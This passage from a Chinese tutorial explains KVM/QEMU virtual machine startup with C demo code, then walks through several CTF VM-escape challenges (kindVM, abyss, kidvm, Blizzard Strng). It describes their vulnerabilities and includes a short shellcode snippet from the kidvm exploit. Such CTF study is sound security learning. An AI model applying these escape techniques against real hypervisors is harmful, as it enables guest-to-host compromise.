Escape

一、铺垫工作

1、先说KVM:QEMU启动过程

虚拟机的启动过程基本上可以这么总结:
创建kvm句柄->创建vm->分配内存->加载镜像到内存->启动线程执行KVM_RUN。从这个虚拟机的demo可以看出,虚拟机的内存是由宿主机通过mmap调用映射给虚拟机的,而vCPU是宿主机的一个线程,这个线程通过设置相应的vCPU的寄存器指定了虚拟机的程序加载地址后,开始运行虚拟机的指令,当虚拟机执行了IO操作后,CPU捕获到中断并把执行权又交回给宿主机。

虚拟机启动过程

第一步,获取到kvm句柄
kvmfd = open("/dev/kvm", O_RDWR);
第二步,创建虚拟机,获取到虚拟机句柄。
vmfd = ioctl(kvmfd, KVM_CREATE_VM, 0);
第三步,为虚拟机映射内存,还有其他的PCI,信号处理的初始化。
ioctl(kvmfd, KVM_SET_USER_MEMORY_REGION, &mem);
第四步,将虚拟机镜像映射到内存,相当于物理机的boot过程,把镜像映射到内存。
第五步,创建vCPU,并为vCPU分配内存空间。
ioctl(kvmfd, KVM_CREATE_VCPU, vcpuid);
vcpu->kvm_run_mmap_size = ioctl(kvm->dev_fd, KVM_GET_VCPU_MMAP_SIZE, 0);
第五步,创建vCPU个数的线程并运行虚拟机。
ioctl(kvm->vcpus->vcpu_fd, KVM_RUN, 0);
第六步,线程进入循环,并捕获虚拟机退出原因,做相应的处理。
这里的退出并不一定是虚拟机关机,虚拟机如果遇到IO操作,访问硬件设备,缺页中断等都会退出执行,退出执行可以理解为将CPU执行上下文返回到QEMU。

open("/dev/kvm")
ioctl(KVM_CREATE_VM)
ioctl(KVM_CREATE_VCPU)
for (;;) {
     ioctl(KVM_RUN)
     switch (exit_reason) {
     case KVM_EXIT_IO:  /* ... */
     case KVM_EXIT_HLT: /* ... */
     }
}

关于KVM_CREATE_VM参数的描述,创建的VM是没有cpu和内存的,需要QEMU进程利用mmap系统调用映射一块内存给VM的描述符,其实也就是给VM创建内存的过程。

2、KVM API demo

下面是一个KVM的简单demo,其目的在于加载 code 并使用KVM运行起来。这是一个at&t的8086汇编,.code16表示他是一个16位的,当然直接运行是运行不起来的,为了让他运行起来,我们可以用KVM提供的API,将这个程序看做一个最简单的操作系统,让其运行起来。
这个汇编的作用是输出al寄存器的值到0x3f8端口。对于x86架构来说,通过IN/OUT指令访问。PC架构一共有65536个8bit的I/O端口,组成64KI/O地址空间,编号从0~0xFFFF。连续两个8bit的端口可以组成一个16bit的端口,连续4个组成一个32bit的端口。I/O地址空间和CPU的物理地址空间是两个不同的概念,例如I/O地址空间为64K,一个32bit的CPU物理地址空间是4G。
最终程序理想的输出应该是al,bl的值后面KVM初始化的时候有赋值。$\n (并不直接输出\n,而是换了一行),hlt 指令表示虚拟机退出。

.globl _start
    .code16
_start:
    mov $0x3f8, %dx
    add %bl, %al
    add $'0', %al
    out %al, (%dx)
    mov $'\n', %al
    out %al, (%dx)
    hlt

我们编译一下这个汇编,得到一个 Bin.bin 的二进制文件:

as -32 bin.S -o bin.o
ld -m elf_i386 --oformat binary -N -e _start -Ttext 0x10000 -o Bin.bin bin.o

查看一下二进制格式:

demo1 hexdump -C bin.bin
00000000  ba f8 03 00 d8 04 30 ee  b0 0a ee f4              |......0.....|
0000000c

对应了下面的code数组,这样直接加载字节码就不需要再从文件加载了:

const uint8_t code[] = {
        0xba, 0xf8, 0x03, /* mov $0x3f8, %dx */
        0x00, 0xd8,       /* add %bl, %al */
        0x04, '0',        /* add $'0', %al */
        0xee,             /* out %al, (%dx) */
        0xb0, '\n',       /* mov $'\n', %al */
        0xee,             /* out %al, (%dx) */
        0xf4,             /* hlt */
    };
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

int main(void)
{
    int kvm, vmfd, vcpufd, ret;
    const uint8_t code[] = {
        0xba, 0xf8, 0x03, /* mov $0x3f8, %dx */
        0x00, 0xd8,       /* add %bl, %al */
        0x04, '0',        /* add $'0', %al */
        0xee,             /* out %al, (%dx) */
        0xb0, '\n',       /* mov $'\n', %al */
        0xee,             /* out %al, (%dx) */
        0xf4,             /* hlt */
    };
    uint8_t *mem;
    struct kvm_sregs sregs;
    size_t mmap_size;
    struct kvm_run *run;
    
    // 获取 kvm 句柄
    kvm = open("/dev/kvm", O_RDWR | O_CLOEXEC);
    if (kvm == -1)
        err(1, "/dev/kvm");

    // 确保是正确的 API 版本
    ret = ioctl(kvm, KVM_GET_API_VERSION, NULL);
    if (ret == -1)
        err(1, "KVM_GET_API_VERSION");
    if (ret != 12)
        errx(1, "KVM_GET_API_VERSION %d, expected 12", ret);
    
    // 创建一虚拟机
    vmfd = ioctl(kvm, KVM_CREATE_VM, (unsigned long)0);
    if (vmfd == -1)
        err(1, "KVM_CREATE_VM");
    
    // 为这个虚拟机申请内存,并将代码(镜像)加载到虚拟机内存中
    mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (!mem)
        err(1, "allocating guest memory");
    memcpy(mem, code, sizeof(code));

    // 为什么从 0x1000 开始呢,因为页表空间的前4K是留给页表目录
    struct kvm_userspace_memory_region region = {
        .slot = 0,
        .guest_phys_addr = 0x1000,
        .memory_size = 0x1000,
        .userspace_addr = (uint64_t)mem,
    };
    // 设置 KVM 的内存区域
    ret = ioctl(vmfd, KVM_SET_USER_MEMORY_REGION, ®ion);
    if (ret == -1)
        err(1, "KVM_SET_USER_MEMORY_REGION");
    
    // 创建虚拟CPU
    vcpufd = ioctl(vmfd, KVM_CREATE_VCPU, (unsigned long)0);
    if (vcpufd == -1)
        err(1, "KVM_CREATE_VCPU");

    // 获取 KVM 运行时结构的大小
    ret = ioctl(kvm, KVM_GET_VCPU_MMAP_SIZE, NULL);
    if (ret == -1)
        err(1, "KVM_GET_VCPU_MMAP_SIZE");
    mmap_size = ret;
    if (mmap_size < sizeof(*run))
        errx(1, "KVM_GET_VCPU_MMAP_SIZE unexpectedly small");
    // 将 kvm run 与 vcpu 做关联,这样能够获取到kvm的运行时信息
    run = mmap(NULL, mmap_size, PROT_READ | PROT_WRITE, MAP_SHARED, vcpufd, 0);
    if (!run)
        err(1, "mmap vcpu");

    // 获取特殊寄存器
    ret = ioctl(vcpufd, KVM_GET_SREGS, &sregs);
    if (ret == -1)
        err(1, "KVM_GET_SREGS");
    // 设置代码段为从地址0处开始,我们的代码被加载到了0x0000的起始位置
    sregs.cs.base = 0;
    sregs.cs.selector = 0;
    // KVM_SET_SREGS 设置特殊寄存器
    ret = ioctl(vcpufd, KVM_SET_SREGS, &sregs);
    if (ret == -1)
        err(1, "KVM_SET_SREGS");

    
    // 设置代码的入口地址,相当于32位main函数的地址,这里16位汇编都是由0x1000处开始。
    // 如果是正式的镜像,那么rip的值应该是类似引导扇区加载进来的指令
    struct kvm_regs regs = {
        .rip = 0x1000,
        .rax = 2,    // 设置 ax 寄存器初始值为 2
        .rbx = 2,    // 同理
        .rflags = 0x2,   // 初始化flags寄存器,x86架构下需要设置,否则会粗错
    };
    ret = ioctl(vcpufd, KVM_SET_REGS, ®s);
    if (ret == -1)
        err(1, "KVM_SET_REGS");

    // 开始运行虚拟机,如果是qemu-kvm,会用一个线程来执行这个vCPU,并加载指令
    while (1) {
        // 开始运行虚拟机
        ret = ioctl(vcpufd, KVM_RUN, NULL);
        if (ret == -1)
            err(1, "KVM_RUN");
        // 获取虚拟机退出原因
        switch (run->exit_reason) {
            case KVM_EXIT_HLT:
            puts("KVM_EXIT_HLT");
            return 0;
        // 汇编调用了 out 指令,vmx 模式下不允许执行这个操作,所以将操作权切换到了宿主机,切换的时候会将上下文保存到VMCS寄存器
        // 后面CPU虚拟化会讲到这部分
        // 因为虚拟机的内存宿主机能够直接读取到,所以直接在宿主机上获取到虚拟机的输出(out指令),这也是后面PCI设备虚拟化的一个基础,DMA模式的PCI设备
        case KVM_EXIT_IO:
            if (run->io.direction == KVM_EXIT_IO_OUT && run->io.size == 1 && run->io.port == 0x3f8 && run->io.count == 1)
                putchar(*(((char *)run) + run->io.data_offset));
            else
                errx(1, "unhandled KVM_EXIT_IO");
            break;
        case KVM_EXIT_FAIL_ENTRY:
            errx(1, "KVM_EXIT_FAIL_ENTRY: hardware_entry_failure_reason = 0x%llx",
                 (unsigned long long)run->fail_entry.hardware_entry_failure_reason);
        case KVM_EXIT_INTERNAL_ERROR:
            errx(1, "KVM_EXIT_INTERNAL_ERROR: suberror = 0x%x", run->internal.suberror);
        default:
            errx(1, "exit_reason = 0x%x", run->exit_reason);
        }
    }
}

编译并运行这个demo

gcc -g demo.c -o demo
demo1 ./demo
4
KVM_EXIT_HLT

3、简单的QEMU emulator demo

qemu-kvm的启动过程:

.globl _start
    .code16
_start:
    xorw %ax, %ax   # 将 ax 寄存器清零

loop1:
    out %ax, $0x10  # 像 0x10 的端口输出 ax 的内容,at&t汇编的操作数和Intel的相反。
    inc %ax         # ax 值加一
    jmp loop1       # 继续循环

这个汇编的作用就是一直不停的向0x10端口输出一字节的值。

3.1从main函数开始说起

int main(int argc, char **argv) {
    int ret = 0;
    // 初始化kvm结构体
    struct kvm *kvm = kvm_init();

    if (kvm == NULL) {
        fprintf(stderr, "kvm init fauilt\n");
        return -1;
    }
    
    // 创建VM,并分配内存空间
    if (kvm_create_vm(kvm, RAM_SIZE) < 0) {
        fprintf(stderr, "create vm fault\n");
        return -1;
    }
    
    // 加载镜像
    load_binary(kvm);

    // only support one vcpu now
    kvm->vcpu_number = 1;
    // 创建执行现场
    kvm->vcpus = kvm_init_vcpu(kvm, 0, kvm_cpu_thread);
    
    // 启动虚拟机
    kvm_run_vm(kvm);

    kvm_clean_vm(kvm);
    kvm_clean_vcpu(kvm->vcpus);
    kvm_clean(kvm);
}

第一步,调用kvm_init() 初始化了 kvm 结构体。先来看看怎么定义一个简单的kvm。

struct kvm {
   int dev_fd;              // /dev/kvm 的句柄
   int vm_fd;               // GUEST 的句柄
   __u64 ram_size;          // GUEST 的内存大小
   __u64 ram_start;         // GUEST 的内存起始地址,
                            // 这个地址是qemu emulator通过mmap映射的地址
   
   int kvm_version;         
   struct kvm_userspace_memory_region mem; // slot 内存结构,由用户空间填充、
                                           // 允许对guest的地址做分段。将多个slot组成线性地址

   struct vcpu *vcpus;      // vcpu 数组
   int vcpu_number;         // vcpu 个数
};

初始化 kvm 结构体。

struct kvm *kvm_init(void) {
    struct kvm *kvm = malloc(sizeof(struct kvm));
    kvm->dev_fd = open(KVM_DEVICE, O_RDWR);  // 打开 /dev/kvm 获取 kvm 句柄

    if (kvm->dev_fd < 0) {
        perror("open kvm device fault: ");
        return NULL;
    }

    kvm->kvm_version = ioctl(kvm->dev_fd, KVM_GET_API_VERSION, 0);  // 获取 kvm API 版本

    return kvm;
}

第二步+第三步,创建虚拟机,获取到虚拟机句柄,并为其分配内存。

int kvm_create_vm(struct kvm *kvm, int ram_size) {
    int ret = 0;
    // 调用 KVM_CREATE_KVM 接口获取 vm 句柄
    kvm->vm_fd = ioctl(kvm->dev_fd, KVM_CREATE_VM, 0);

    if (kvm->vm_fd < 0) {
        perror("can not create vm");
        return -1;
    }

    // 为 kvm 分配内存。通过系统调用.
    kvm->ram_size = ram_size;
    kvm->ram_start =  (__u64)mmap(NULL, kvm->ram_size, 
                PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, 
                -1, 0);

    if ((void *)kvm->ram_start == MAP_FAILED) {
        perror("can not mmap ram");
        return -1;
    }
    
    // kvm->mem 结构需要初始化后传递给 KVM_SET_USER_MEMORY_REGION 接口
    // 只有一个内存槽
    kvm->mem.slot = 0;
    // guest 物理内存起始地址
    kvm->mem.guest_phys_addr = 0;
    // 虚拟机内存大小
    kvm->mem.memory_size = kvm->ram_size;
    // 虚拟机内存在host上的用户空间地址,这里就是绑定内存给guest
    kvm->mem.userspace_addr = kvm->ram_start;
    
    // 调用 KVM_SET_USER_MEMORY_REGION 为虚拟机分配内存。
    ret = ioctl(kvm->vm_fd, KVM_SET_USER_MEMORY_REGION, &(kvm->mem));

    if (ret < 0) {
        perror("can not set user memory region");
        return ret;
    }
    return ret;
}

接下来就是load_binary把二进制文件load到虚拟机的内存中来,在第一个demo中我们是直接把字节码放到了内存中,这里模拟镜像加载步骤,把二进制文件加载到内存中。

void load_binary(struct kvm *kvm) {
    int fd = open(BINARY_FILE, O_RDONLY);  // 打开这个二进制文件(镜像)

    if (fd < 0) {
        fprintf(stderr, "can not open binary file\n");
        exit(1);
    }

    int ret = 0;
    char *p = (char *)kvm->ram_start;

    while(1) {
        ret = read(fd, p, 4096);           // 将镜像内容加载到虚拟机的内存中
        if (ret <= 0) {
            break;
        }
        printf("read size: %d", ret);
        p += ret;
    }
}

加载完镜像后,需要初始化vCPU,以便能够运行镜像内容

struct vcpu {
    int vcpu_id;                 // vCPU id,vCPU
    int vcpu_fd;                 // vCPU 句柄
    pthread_t vcpu_thread;       // vCPU 线程句柄
    struct kvm_run *kvm_run;     // KVM 运行时结构,也可以看做是上下文
    int kvm_run_mmap_size;       // 运行时结构大小
    struct kvm_regs regs;        // vCPU的寄存器
    struct kvm_sregs sregs;      // vCPU的特殊寄存器
    void *(*vcpu_thread_func)(void *);  // 线程执行函数
};

struct vcpu *kvm_init_vcpu(struct kvm *kvm, int vcpu_id, void *(*fn)(void *)) {
    // 申请vcpu结构
    struct vcpu *vcpu = malloc(sizeof(struct vcpu));
    // 只有一个 vCPU,所以这里只初始化一个
    vcpu->vcpu_id = 0;
    // 调用 KVM_CREATE_VCPU 获取 vCPU 句柄,并关联到kvm->vm_fd(由KVM_CREATE_VM返回)
    vcpu->vcpu_fd = ioctl(kvm->vm_fd, KVM_CREATE_VCPU, vcpu->vcpu_id);

    if (vcpu->vcpu_fd < 0) {
        perror("can not create vcpu");
        return NULL;
    }
    
    // 获取KVM运行时结构大小
    vcpu->kvm_run_mmap_size = ioctl(kvm->dev_fd, KVM_GET_VCPU_MMAP_SIZE, 0);

    if (vcpu->kvm_run_mmap_size < 0) {
        perror("can not get vcpu mmsize");
        return NULL;
    }

    printf("%d\n", vcpu->kvm_run_mmap_size);
    // 将 vcpu_fd 的内存映射给 vcpu->kvm_run结构。相当于一个关联操作
    // 以便能够在虚拟机退出的时候获取到vCPU的返回值等信息
    vcpu->kvm_run = mmap(NULL, vcpu->kvm_run_mmap_size, PROT_READ | PROT_WRITE, MAP_SHARED, vcpu->vcpu_fd, 0);

    if (vcpu->kvm_run == MAP_FAILED) {
        perror("can not mmap kvm_run");
        return NULL;
    }
    
    // 设置线程执行函数
    vcpu->vcpu_thread_func = fn;
    return vcpu;
}

最后一步,以上工作就绪后,启动虚拟机。

void kvm_run_vm(struct kvm *kvm) {
    int i = 0;

    for (i = 0; i < kvm->vcpu_number; i++) {
        // 启动线程执行 vcpu_thread_func 并将 kvm 结构作为参数传递给线程
        if (pthread_create(&(kvm->vcpus->vcpu_thread), (const pthread_attr_t *)NULL, kvm->vcpus[i].vcpu_thread_func, kvm) != 0) {
            perror("can not create kvm thread");
            exit(1);
        }
    }

    pthread_join(kvm->vcpus->vcpu_thread, NULL);
}

启动虚拟机其实就是创建线程,并执行相应的线程回调函数。线程回调函数在kvm_init_vcpu的时候传入

void *kvm_cpu_thread(void *data) {
    // 获取参数
    struct kvm *kvm = (struct kvm *)data;
    int ret = 0;
    // 设置KVM的参数
    kvm_reset_vcpu(kvm->vcpus);

    while (1) {
        printf("KVM start run\n");
        // 启动虚拟机,此时的虚拟机已经有内存和CPU了,可以运行起来了。
        ret = ioctl(kvm->vcpus->vcpu_fd, KVM_RUN, 0);
    
        if (ret < 0) {
            fprintf(stderr, "KVM_RUN failed\n");
            exit(1);
        }
        
        // 前文 kvm_init_vcpu 函数中,将 kvm_run 关联了 vCPU 结构的内存
        // 所以这里虚拟机退出的时候,可以获取到 exit_reason,虚拟机退出原因
        switch (kvm->vcpus->kvm_run->exit_reason) {
        case KVM_EXIT_UNKNOWN:
            printf("KVM_EXIT_UNKNOWN\n");
            break;
        case KVM_EXIT_DEBUG:
            printf("KVM_EXIT_DEBUG\n");
            break;
        // 虚拟机执行了IO操作,虚拟机模式下的CPU会暂停虚拟机并
        // 把执行权交给emulator
        case KVM_EXIT_IO:
            printf("KVM_EXIT_IO\n");
            printf("out port: %d, data: %d\n", 
                kvm->vcpus->kvm_run->io.port,  
                *(int *)((char *)(kvm->vcpus->kvm_run) + kvm->vcpus->kvm_run->io.data_offset)
                );
            sleep(1);
            break;
        // 虚拟机执行了memory map IO操作
        case KVM_EXIT_MMIO:
            printf("KVM_EXIT_MMIO\n");
            break;
        case KVM_EXIT_INTR:
            printf("KVM_EXIT_INTR\n");
            break;
        case KVM_EXIT_SHUTDOWN:
            printf("KVM_EXIT_SHUTDOWN\n");
            goto exit_kvm;
            break;
        default:
            printf("KVM PANIC\n");
            goto exit_kvm;
        }
    }

exit_kvm:
    return 0;
}

void kvm_reset_vcpu (struct vcpu *vcpu) {
    if (ioctl(vcpu->vcpu_fd, KVM_GET_SREGS, &(vcpu->sregs)) < 0) {
        perror("can not get sregs\n");
        exit(1);
    }
    // #define CODE_START 0x1000
    /* sregs 结构体
        x86
        struct kvm_sregs {
            struct kvm_segment cs, ds, es, fs, gs, ss;
            struct kvm_segment tr, ldt;
            struct kvm_dtable gdt, idt;
            __u64 cr0, cr2, cr3, cr4, cr8;
            __u64 efer;
            __u64 apic_base;
            __u64 interrupt_bitmap[(KVM_NR_INTERRUPTS + 63) / 64];
        };
    */
    // cs 为code start寄存器,存放了程序的起始地址
    vcpu->sregs.cs.selector = CODE_START;
    vcpu->sregs.cs.base = CODE_START * 16;
    // ss 为堆栈寄存器,存放了堆栈的起始位置
    vcpu->sregs.ss.selector = CODE_START;
    vcpu->sregs.ss.base = CODE_START * 16;
    // ds 为数据段寄存器,存放了数据开始地址
    vcpu->sregs.ds.selector = CODE_START;
    vcpu->sregs.ds.base = CODE_START *16;
    // es 为附加段寄存器
    vcpu->sregs.es.selector = CODE_START;
    vcpu->sregs.es.base = CODE_START * 16;
    // fs, gs 同样为段寄存器
    vcpu->sregs.fs.selector = CODE_START;
    vcpu->sregs.fs.base = CODE_START * 16;
    vcpu->sregs.gs.selector = CODE_START;
    
    // 为vCPU设置以上寄存器的值
    if (ioctl(vcpu->vcpu_fd, KVM_SET_SREGS, &vcpu->sregs) < 0) {
        perror("can not set sregs");
        exit(1);
    }
    
    // 设置寄存器标志位
    vcpu->regs.rflags = 0x0000000000000002ULL;
    // rip 表示了程序的起始指针,地址为 0x0000000
    // 在加载镜像的时候,我们直接将binary读取到了虚拟机的内存起始位
    // 所以虚拟机开始的时候会直接运行binary
    vcpu->regs.rip = 0;
    // rsp 为堆栈顶
    vcpu->regs.rsp = 0xffffffff;
    // rbp 为堆栈底部
    vcpu->regs.rbp= 0;

    if (ioctl(vcpu->vcpu_fd, KVM_SET_REGS, &(vcpu->regs)) < 0) {
        perror("KVM SET REGS\n");
        exit(1);
    }
}

运行一下结果,可以看到当虚拟机执行了指令 out %ax, $0x10 的时候,会引起虚拟机的退出,这是CPU虚拟化里面将要介绍的特殊机制。宿主机获取到虚拟机退出的原因后,获取相应的输出。这里的步骤就类似于IO虚拟化,直接读取IO模块的内存,并输出结果。

kvmsample git:(master) ✗ ./kvmsample
read size: 712288
KVM start run
KVM_EXIT_IO
out port: 16, data: 0
KVM start run
KVM_EXIT_IO
out port: 16, data: 1
KVM start run
KVM_EXIT_IO
out port: 16, data: 2
KVM start run
KVM_EXIT_IO
out port: 16, data: 3
KVM start run
KVM_EXIT_IO
out port: 16, data: 4
...

4、简单VM题分析

对于VM题目,做的第一件事情应该是进行逆向分析,首先要搞明白出题人给出的guest和host系统之间如何进行交互,以及你如何与guest系统之间交互。入门级的VM题目,漏洞一般就出现在这两个地方。

4.1guest系统本身存在漏洞

首先看guest系统存在漏洞的:

有两道题:seccon 2018 kindVM,hitcon2018 abyss1,首先我们需要逆向guest的elf文件,搞明白指令系统的运作模式,对于这种指令系统,一般需要malloc 三块地址,一块用来存放用户输入的指令,一块用于充当寄存器,一块用于充当栈。其后会定义一系列的指令,用于在栈和寄存器之间交换数据,以及处理栈上的数据。

因此做这种题目的第一步就是要找到指令变量 寄存器变量 和 栈变量这三块地址,然后再具体的去分析每一个指令。看指令的操作有没有造成相应的地址溢出或者是整数溢出。负数造成的数组溢出比较重要,这两道题的漏洞点都在负数的溢出上。abyss在于swap指令中, 由于没有严格的去检查数组的下标,并且,用于充当rsp的变量machine正好与栈相邻,这样通过swap可以直接控制machine从而控制栈进行任意写。看代码可以发现,正好可以将第一个字节的数改到machine,将其设置成负数,可以修改got表进行劫持。

Escape_第1张图片
4.1

而kindvm则是int与unsigned int的转换问题,代码可见,v2变量是__int16,但是在检查的时候默认 成了unsigned int,只比较是不是大于1020,因此只要设置成负数即可实现越界写。


Escape_第2张图片
4.2

4.2guest与host交互存在漏洞

上面的一种题型是最最最基础的,更偏向于逆向的。首先我们要明白KVM创建虚拟机的流程,不明白的可以参考第一部分的文章。

我们主要关注的是客户机内存的映射问题。一般是先mmap一大段内存,在host进程中建立这段虚拟地址与物理地址的映射。之后在guest中通过映射这段mmap的虚拟地址来间接映射到实际的物理地址。但是这两道vm逃逸的CTF题目都忘了去区分内核地址与用户地址,当我们从guest中去访问一个地址的时候,并没有一种安全检查机制去区分了是不是在访问guest的kernel代码段,因此轻而易举的就可以执行guest内核的任意写和读。

看abyss2和kidvm guest与host如何进行沟通。abyss 通过in 和 out两个IO指令触发中断,控制流返回host,在sub_1C7E中,通过switch跳转到特定的处理函数进行处理。


Escape_第3张图片
4.3

我们来看abyss2 kernel的read系统调用


Escape_第4张图片
4.4

可以看到首先用kmalloc申请了一块内存,长度是我们传入的len。
Escape_第5张图片
4.5

之后调用了一个函数,将地址与0x800000000进行&操作,最后将传给了与host进行交流的函数。所以我认为0x8000000000是guest中kernel的基址的虚拟地址,与0x8000000000进行&操作之后,即可获得对应于host中mmap申请的物理地址。也就是说guest的虚拟地址范围是0x8000000000到0x8002000000。

再来看sub_DC2函数。将上一步得到的缓冲区地址,和缓冲区长度都放入一块kmalloc的地址中,之后获得与新kmalloc的这块地址对应的 host中mmap的地址。通过out指令触发中断,将信息传递回host。


Escape_第6张图片
4.6

在host中通过直接向物理地址读入信息,返回guest后,通过qmemcpy将信息拷贝到guest中传入的缓冲区中。

host中的,进行了检查,但是这个检查只检查了buf的地址有没有超出mmap申请的地址的范围,并没有检查buf的位置是不是位于kernel的代码段。length的长度同样没有进行检查,因此,我们只要通过触发kmalloc的异常,使buf的值为0.我们就能任意写的guest的kernel代码。

4.6

我们再来看kidvm,在malloc中的检查中,会检查ds:word_344中保存的malloc_top是否达到了0xb000,如果小于等于,就将申请的地址加上0x5000,可以看到这里malloc提供了一个简单的保护机制,将代码放在前0x5000中。但是这是一个16位的系统,因此如果我们申请的地址是0xb000,再加上0x5000,得到的结果是0x10000,16位即0.也就可以实现对guest内核的任意写了。


Escape_第7张图片
4.7

关于调试的一点经验

做kidvm的时候,我发现没办法去调试,因为命令都是一次性发的,执行完就结束了,没办法下断点,host的堆的情况也没法看。于是我用了一种比较笨的方法:首先通过触发漏洞,改写kernel的代码,但是在代码的最后通过一个跳转,使其陷入一个无限的nop+jump的循环,不会让程序直接结束,这样在gdb ctrl+c 就可以进行调试了。就像这样:

shellcode  = alloc_host(0x80)#0
shellcode += alloc_host(0x80)#1 
shellcode += free_host(0)
shellcode += update_host(8,0,2)
shellcode += write_stdout(0x4000, 0x8, len(shellcode)+0x122)
shellcode += free_host(1)
shellcode += alloc_host(0x90)
shellcode += alloc_host(0x200)
shellcode += alloc_host(0x80)
shellcode += free_host(3)
shellcode += read_stdin(0x4000, 0x10, len(shellcode)+0x122)
shellcode += update_host(0x10,1,1)
#shellcode += read_stdin(0x4000, 0xe0, len(shellcode)+0x122)
#shellcode += update_host(0xe0, 3, 1)
ret = len(shellcode)
shellcode += "\xeb" + chr((ret-(len(shellcode)+2))&0xff)

总结

1.先逆向程序,通过找三块关键点地址,和通读指令代码,找到漏洞点所在。
2.搞明白guest与host是如何进行通信的。重点看host中有没有相应的保护机制,防止guest的kernel代码被恶意改写。
3.重点关注一下整数溢出,int和unsigned int误用等漏洞。

MMIO与PMIO

在计算机中,内存映射I/O(MMIO)和端口映射I/O(PMIO)是两种互为补充的I/O方法,在CPU和外部设备之间。另一种方法是使用专用的I/O处理器,通常为大型机上的通道,它们执行自己特有的指令。

1. MMIO

Memory-mapped I/O (MMIO), 内存映射IO。 在MMIO中,内存和I/O设备共享同一个地址空间。 MMIO是应用得最为广泛的一种IO方法,它使用相同的地址总线来处理内存和I/O设备,I/O设备的内存和寄存器被映射到与之相关联的地址。当CPU访问某个内存地址时,它可能是物理内存,也可以是某个I/O设备的内存。因此,用于访问内存的CPU指令也可来访问I/O设备。每个I/O设备监视CPU的地址总线,一旦CPU访问分配给它的地址,它就做出响应,将数据总线连接到需要访问的设备硬件寄存器。为了容纳I/O设备,CPU必须预留给I/O一个地址区域,该地址区域不能给物理内存使用。

2. PMIO

Port-mapped I/O (PMIO),端口映射IO,又叫做被隔离的I/O(isolated I/O)。
在PMIO中,内存和I/O设备有各自的地址空间。 端口映射I/O通常使用一种特殊的CPU指令,专门执行I/O操作。在Intel的微处理器中,使用的指令是IN和OUT。这些指令可以读/写1,2,4个字节(例如:outb, outw, outl)从/到IO设备上。I/O设备有一个与内存不同的地址空间,为了实现地址空间的隔离,要么在CPU物理接口上增加一个I/O引脚,要么增加一条专用的I/O总线。由于I/O地址空间与内存地址空间是隔离的,所以有时将PMIO称为被隔离的IO(Isolated I/O)。

3. MMIO v.s. PMIO

在MMIO中,IO设备和内存共享同一个地址总线,因此它们的地址空间是相同的; 而在PMIO中,IO设备和内存的地址空间是隔离的。
在MMIO中,无论是访问内存还是访问IO设备,都使用相同的指令; 而在PMIO中,CPU使用特殊的指令访问IO设备,在Intel微处理器中,使用的指令是IN和OUT。

4. 如何实现MMIO?

在Linux中, 内核使用ioremap()将IO设备的物理内存地址映射到内核空间的虚拟地址上; 用户空间程序使用mmap(2)系统调用将IO设备的物理内存地址映射到用户空间的虚拟内存地址上,一旦映射完成,用户空间的一段内存就与IO设备的内存关联起来,当用户访问用户空间的这段内存地址范围时,实际上会转化为对IO设备的访问。

二、qemu pwn-Blizzard CTF 2017 Strng

这题的特色在于它的漏洞不是存在于MMIO中,而是PMIO中。

描述

本题是qemu逃逸题,flag文件在宿主机中的路径为/root/flag。启动的命令如下,可以把它保存到launsh.sh中,用sudo ./launsh.sh启动。

./qemu-system-x86_64 \
    -m 1G \
    -device strng \
    -hda my-disk.img \
    -hdb my-seed.img \
    -nographic \
    -L pc-bios/ \
    -enable-kvm \
    -device e1000,netdev=net0 \
    -netdev user,id=net0,hostfwd=tcp::5555-:22

该虚拟机是一个Ubuntu Server 14.04 LTS,用户名是ubuntu,密码是passw0rd。因为它把22端口重定向到了宿主机的5555端口,所以可以使用ssh [email protected] -p 5555登进去。

分析

sudo ./launsh.sh启动虚拟机,使用用户名是ubuntu,密码是passw0rd进去虚拟机。

同时将qemu-system-x64_64拖到IDA里面,程序较大,IDA需要个小一会才会分析完成。后续整个分析过程是通过IDA与源码对比查看完成,需要指出的是分析过程将IDA中将变量设置成其对应的结构体会容易看很多。

在IDA分析完成之前,首先看下虚拟机中的设备等信息。

00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
00:04.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)

通过启动命令中的-device strng,我们在IDA中搜索strng相关函数,可以看到相应的函数。


Escape_第8张图片
IDA中搜索strng相关函数

首先是设备的结构体STRNGState的定义:

00000000 STRNGState      struc ; (sizeof=0xC10, align=0x10, mappedto_3815)
00000000 pdev            PCIDevice_0 ?
000008F0 mmio            MemoryRegion_0 ?
000009F0 pmio            MemoryRegion_0 ?
00000AF0 addr            dd ?
00000AF4 regs            dd 64 dup(?)
00000BF4                 db ? ; undefined
00000BF5                 db ? ; undefined
00000BF6                 db ? ; undefined
00000BF7                 db ? ; undefined
00000BF8 srand           dq ?                    ; offset
00000C00 rand            dq ?                    ; offset
00000C08 rand_r          dq ?                    ; offset
00000C10 STRNGState      ends

可以看到它里面存在一个regs数组,大小为256(64*4),后面跟三个函数指针。

我们知道pci_strng_register_types会注册由用户提供的TypeInfo,查看该函数并找到了它的TypeInfo,跟进去看到了strng_class_init以及strng_instance_init函数。

然后先看strng_class_init函数,代码如下(将变量k的类型设置为PCIDeviceClass*):

void __fastcall strng_class_init(ObjectClass *a1, void *data)
{
  PCIDeviceClass *k; // rax

  k = (PCIDeviceClass *)object_class_dynamic_cast_assert(
                          a1,
                          "pci-device",
                          "/home/rcvalle/qemu/hw/misc/strng.c",
                          154,
                          "strng_class_init");
  k->device_id = 0x11E9;
  k->revision = 0x10;
  k->realize = (void (*)(PCIDevice_0 *, Error_0 **))pci_strng_realize;
  k->class_id = 0xFF;
  k->vendor_id = 0x1234;
}

可以看到class_init中设置其device_id为0x11e9,vendor_id为0x1234。对应到上面lspci得到的信息,可以知道设备为00:03.0,查看其详细信息:

ubuntu@ubuntu:~$ lspci -v -s 00:03.0
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
        Subsystem: Red Hat, Inc Device 1100
        Physical Slot: 3
        Flags: fast devsel
